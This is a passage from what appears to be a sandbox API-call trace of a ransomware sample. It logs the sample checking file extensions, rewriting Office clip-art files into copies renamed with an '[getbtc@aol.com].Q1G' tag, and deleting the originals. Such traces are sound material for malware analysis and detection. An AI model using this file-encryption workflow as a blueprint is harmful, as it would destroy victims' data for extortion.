(lpString=".bz2") returned 4 [0250.000] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.000] lstrlenW (lpString=".7z") returned 3 [0250.000] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0250.000] lstrlenW (lpString=".dbf") returned 4 [0250.000] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0250.000] lstrlenW (lpString=".1cd") returned 4 [0250.000] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0250.001] lstrlenW (lpString=".jpg") returned 4 [0250.001] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0250.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0250.001] lstrlenW (lpString=".doc") returned 4 [0250.001] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.001] lstrlenW (lpString=".docx") returned 5 [0250.001] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.001] lstrlenW (lpString=".pdf") returned 4 [0250.001] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.001] lstrlenW (lpString=".xls") returned 4 [0250.001] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.001] lstrlenW (lpString=".xlsx") returned 5 [0250.001] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.001] lstrlenW (lpString=".ppt") returned 4 [0250.001] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0250.001] lstrlenW (lpString=".zip") returned 4 [0250.001] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.001] lstrlenW (lpString=".rar") returned 4 [0250.001] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.001] lstrlenW (lpString=".bz2") returned 4 [0250.001] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.001] lstrlenW (lpString=".7z") returned 3 [0250.001] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0250.001] lstrlenW (lpString=".dbf") returned 4 [0250.001] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0250.001] lstrlenW (lpString=".1cd") returned 4 [0250.001] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0250.001] lstrlenW (lpString=".jpg") returned 4 [0250.001] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.002] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0250.002] lstrlenW (lpString="FD01074_.WMF") returned 12 [0250.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0250.002] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=4634) returned 1 [0250.002] CloseHandle (hObject=0x360) returned 1 [0250.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x20 [0250.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0250.003] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.003] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0250.004] GetLastError () returned 0x0 [0250.004] ReadFile (in: hFile=0x360, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x121a, lpOverlapped=0x0) returned 1 [0250.005] WriteFile (in: hFile=0x390, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x1220, lpOverlapped=0x0) returned 1 [0250.006] ReadFile (in: hFile=0x360, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.006] WriteFile (in: hFile=0x390, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0250.006] SetEndOfFile (hFile=0x390) returned 1 [0250.006] CloseHandle (hObject=0x390) returned 1 [0250.006] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.006] SetEndOfFile (hFile=0x360) returned 1 [0250.008] CloseHandle (hObject=0x360) returned 1 [0250.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.008] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf")) returned 1 [0250.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0250.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0250.009] lstrlenW (lpString=".doc") returned 4 [0250.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.009] lstrlenW (lpString=".docx") returned 5 [0250.009] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.009] lstrlenW (lpString=".pdf") returned 4 [0250.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.009] lstrlenW (lpString=".xls") returned 4 [0250.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.009] lstrlenW (lpString=".xlsx") returned 5 [0250.009] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.009] lstrlenW (lpString=".ppt") returned 4 [0250.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0250.009] lstrlenW (lpString=".zip") returned 4 [0250.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.009] lstrlenW (lpString=".rar") returned 4 [0250.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.009] lstrlenW (lpString=".bz2") returned 4 [0250.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.009] lstrlenW (lpString=".7z") returned 3 [0250.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0250.010] lstrlenW (lpString=".dbf") returned 4 [0250.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0250.010] lstrlenW (lpString=".1cd") returned 4 [0250.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0250.010] lstrlenW (lpString=".jpg") returned 4 [0250.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0250.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0250.010] lstrlenW (lpString=".doc") returned 4 [0250.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.010] lstrlenW (lpString=".docx") returned 5 [0250.010] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.010] lstrlenW (lpString=".pdf") returned 4 [0250.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.010] lstrlenW (lpString=".xls") returned 4 [0250.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.010] lstrlenW (lpString=".xlsx") returned 5 [0250.010] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.010] lstrlenW (lpString=".ppt") returned 4 [0250.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0250.010] lstrlenW (lpString=".zip") returned 4 [0250.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.010] lstrlenW (lpString=".rar") returned 4 [0250.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.010] lstrlenW (lpString=".bz2") returned 4 [0250.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.010] lstrlenW (lpString=".7z") returned 3 [0250.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0250.010] lstrlenW (lpString=".dbf") returned 4 [0250.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0250.010] lstrlenW (lpString=".1cd") returned 4 [0250.466] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0250.466] lstrlenW (lpString=".jpg") returned 4 [0250.466] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.466] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0250.466] lstrlenW (lpString="FD02158_.WMF") returned 12 [0250.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0250.466] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=1648) returned 1 [0250.466] CloseHandle (hObject=0x1f8) returned 1 [0250.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x20 [0250.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0251.369] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.369] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0251.535] GetLastError () returned 0x0 [0251.535] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x670, lpOverlapped=0x0) returned 1 [0251.558] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x680, lpOverlapped=0x0) returned 1 [0251.558] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.558] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.559] SetEndOfFile (hFile=0x3ac) returned 1 [0251.559] CloseHandle (hObject=0x3ac) returned 1 [0251.559] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.559] SetEndOfFile (hFile=0x3bc) returned 1 [0251.561] CloseHandle (hObject=0x3bc) returned 1 [0251.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf")) returned 1 [0251.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0251.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0251.562] lstrlenW (lpString=".doc") returned 4 [0251.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.562] lstrlenW (lpString=".docx") returned 5 [0251.562] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.562] lstrlenW (lpString=".pdf") returned 4 [0251.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.562] lstrlenW (lpString=".xls") returned 4 [0251.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.562] lstrlenW (lpString=".xlsx") returned 5 [0251.562] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.562] lstrlenW (lpString=".ppt") returned 4 [0251.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0251.562] lstrlenW (lpString=".zip") returned 4 [0251.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.562] lstrlenW (lpString=".rar") returned 4 [0251.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.562] lstrlenW (lpString=".bz2") returned 4 [0251.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.562] lstrlenW (lpString=".7z") returned 3 [0251.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0251.563] lstrlenW (lpString=".dbf") returned 4 [0251.563] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0251.563] lstrlenW (lpString=".1cd") returned 4 [0251.563] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0251.563] lstrlenW (lpString=".jpg") returned 4 [0251.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0251.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0251.563] lstrlenW (lpString=".doc") returned 4 [0251.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.563] lstrlenW (lpString=".docx") returned 5 [0251.563] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.563] lstrlenW (lpString=".pdf") returned 4 [0251.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.563] lstrlenW (lpString=".xls") returned 4 [0251.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.563] lstrlenW (lpString=".xlsx") returned 5 [0251.563] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.563] lstrlenW (lpString=".ppt") returned 4 [0251.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0251.563] lstrlenW (lpString=".zip") returned 4 [0251.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.563] lstrlenW (lpString=".rar") returned 4 [0251.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.563] lstrlenW (lpString=".bz2") returned 4 [0251.563] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.563] lstrlenW (lpString=".7z") returned 3 [0251.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0251.564] lstrlenW (lpString=".dbf") returned 4 [0251.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0251.564] lstrlenW (lpString=".1cd") returned 4 [0251.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0251.564] lstrlenW (lpString=".jpg") returned 4 [0251.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.564] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.564] lstrlenW (lpString="HH00057_.WMF") returned 12 [0251.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0251.643] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=3764) returned 1 [0251.643] CloseHandle (hObject=0x3bc) returned 1 [0251.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x20 [0251.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0251.643] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.643] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0251.644] GetLastError () returned 0x0 [0251.644] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xeb4, lpOverlapped=0x0) returned 1 [0251.659] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec0, lpOverlapped=0x0) returned 1 [0251.660] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.660] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.660] SetEndOfFile (hFile=0x3ac) returned 1 [0251.661] CloseHandle (hObject=0x3ac) returned 1 [0251.661] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.661] SetEndOfFile (hFile=0x3bc) returned 1 [0251.662] CloseHandle (hObject=0x3bc) returned 1 [0251.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf")) returned 1 [0251.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0251.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0251.663] lstrlenW (lpString=".doc") returned 4 [0251.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.663] lstrlenW (lpString=".docx") returned 5 [0251.663] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.663] lstrlenW (lpString=".pdf") returned 4 [0251.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.663] lstrlenW (lpString=".xls") returned 4 [0251.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.664] lstrlenW (lpString=".xlsx") returned 5 [0251.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.664] lstrlenW (lpString=".ppt") returned 4 [0251.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0251.664] lstrlenW (lpString=".zip") returned 4 [0251.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.664] lstrlenW (lpString=".rar") returned 4 [0251.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.664] lstrlenW (lpString=".bz2") returned 4 [0251.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.664] lstrlenW (lpString=".7z") returned 3 [0251.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0251.664] lstrlenW (lpString=".dbf") returned 4 [0251.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0251.664] lstrlenW (lpString=".1cd") returned 4 [0251.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.664] lstrlenW (lpString="C:\\Program Files\\Microsoft 